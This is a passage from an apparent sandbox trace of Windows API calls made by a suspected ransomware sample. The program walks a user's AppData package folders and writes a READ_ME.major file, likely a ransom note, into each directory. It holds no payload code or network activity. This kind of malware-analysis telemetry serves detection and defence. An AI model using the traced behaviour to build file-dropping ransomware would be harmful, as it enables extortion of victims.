ftLastWriteTime.dwLowDateTime=0xdcb9ba8c, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="214513", cAlternateFileName="")) returned 1 [0244.494] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.496] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.497] CloseHandle (hObject=0x1af0) returned 1 [0244.497] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb619b0e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaa6b70e0, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xaa6b70e0, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="243289", cAlternateFileName="")) returned 1 [0244.497] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.525] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.526] CloseHandle (hObject=0x1af0) returned 1 [0244.526] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x235399a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x25417c04, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x25417c04, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="243292", cAlternateFileName="")) returned 1 [0244.526] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243292\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243292\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.528] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.529] CloseHandle (hObject=0x1af0) returned 1 [0244.529] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfed624f3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaabc7b4a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xaabc7b4a, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="279978", cAlternateFileName="")) returned 1 [0244.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.557] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.560] CloseHandle (hObject=0x1af0) returned 1 [0244.560] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6b72c16, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa6b72c16, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="279986", cAlternateFileName="")) returned 1 [0244.560] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.562] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.563] CloseHandle (hObject=0x1af0) returned 1 [0244.563] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x821ae63c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x821ae63c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="280810", cAlternateFileName="")) returned 1 [0244.563] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.583] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.584] CloseHandle (hObject=0x1af0) returned 1 [0244.584] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x8a8a5304, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8a8a5304, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="280811", cAlternateFileName="")) returned 1 [0244.584] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.622] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.623] CloseHandle (hObject=0x1af0) returned 1 [0244.623] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x35a99a0d, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x35a99a0d, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="280813", cAlternateFileName="")) returned 1 [0244.623] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.694] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.695] CloseHandle (hObject=0x1af0) returned 1 [0244.695] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb0a11d08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb0a11d08, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="280815", cAlternateFileName="")) returned 1 [0244.695] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.698] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.698] CloseHandle (hObject=0x1af0) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x464fb0dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xaa1a6676, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xaa1a6676, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="280819", cAlternateFileName="")) returned 1 [0244.698] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.834] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.835] CloseHandle (hObject=0x1af0) returned 1 [0244.835] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4605c7d4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4605c7d4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4605c7d4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="296333", cAlternateFileName="")) returned 1 [0244.836] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\296333\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\296333\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.837] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.838] CloseHandle (hObject=0x1af0) returned 1 [0244.838] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x48361179, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49247e6e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x49247e6e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="310091", cAlternateFileName="")) returned 1 [0244.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310091\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310091\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.838] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.839] CloseHandle (hObject=0x1af0) returned 1 [0244.839] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fdaae, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x19944238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x19944238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="310093", cAlternateFileName="")) returned 1 [0244.839] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\310093\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\310093\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.841] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.842] CloseHandle (hObject=0x1af0) returned 1 [0244.842] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4563a7b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x45ab2e45, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x45ab2e45, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="onesettings_waas_featuremanagement", cAlternateFileName="ONESET~1")) returned 1 [0244.842] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\onesettings_waas_featuremanagement\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\onesettings_waas_featuremanagement\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.844] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.845] CloseHandle (hObject=0x1af0) returned 1 [0244.845] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44d96f0b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x44d96f0b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x44d96f0b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.845] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44d96f0b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x44d96f0b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x44d96f0b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.845] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9ff77ac, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x452a7e2b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31820 [0244.846] FindNextFileW (in: hFindFile=0x2f31820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9ff77ac, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x452a7e2b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.846] FindNextFileW (in: hFindFile=0x2f31820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9de3c89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xea1774fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xea1774fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="280813", cAlternateFileName="")) returned 1 [0244.846] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\v3\\280813\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\targetedcontentcache\\v3\\280813\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0244.913] WriteFile (in: hFile=0x1af4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.914] CloseHandle (hObject=0x1af4) returned 1 [0244.914] FindNextFileW (in: hFindFile=0x2f31820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x452a7e2b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x452a7e2b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x452a7e2b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.914] FindNextFileW (in: hFindFile=0x2f31820, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x452a7e2b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x452a7e2b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x452a7e2b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.914] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf8c607c0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4605d665, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31060 [0244.915] FindNextFileW (in: hFindFile=0x2f31060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf8c607c0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4605d665, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.915] FindNextFileW (in: hFindFile=0x2f31060, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc2636207, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2636207, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2636207, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="2", cAlternateFileName="")) returned 1 [0244.915] 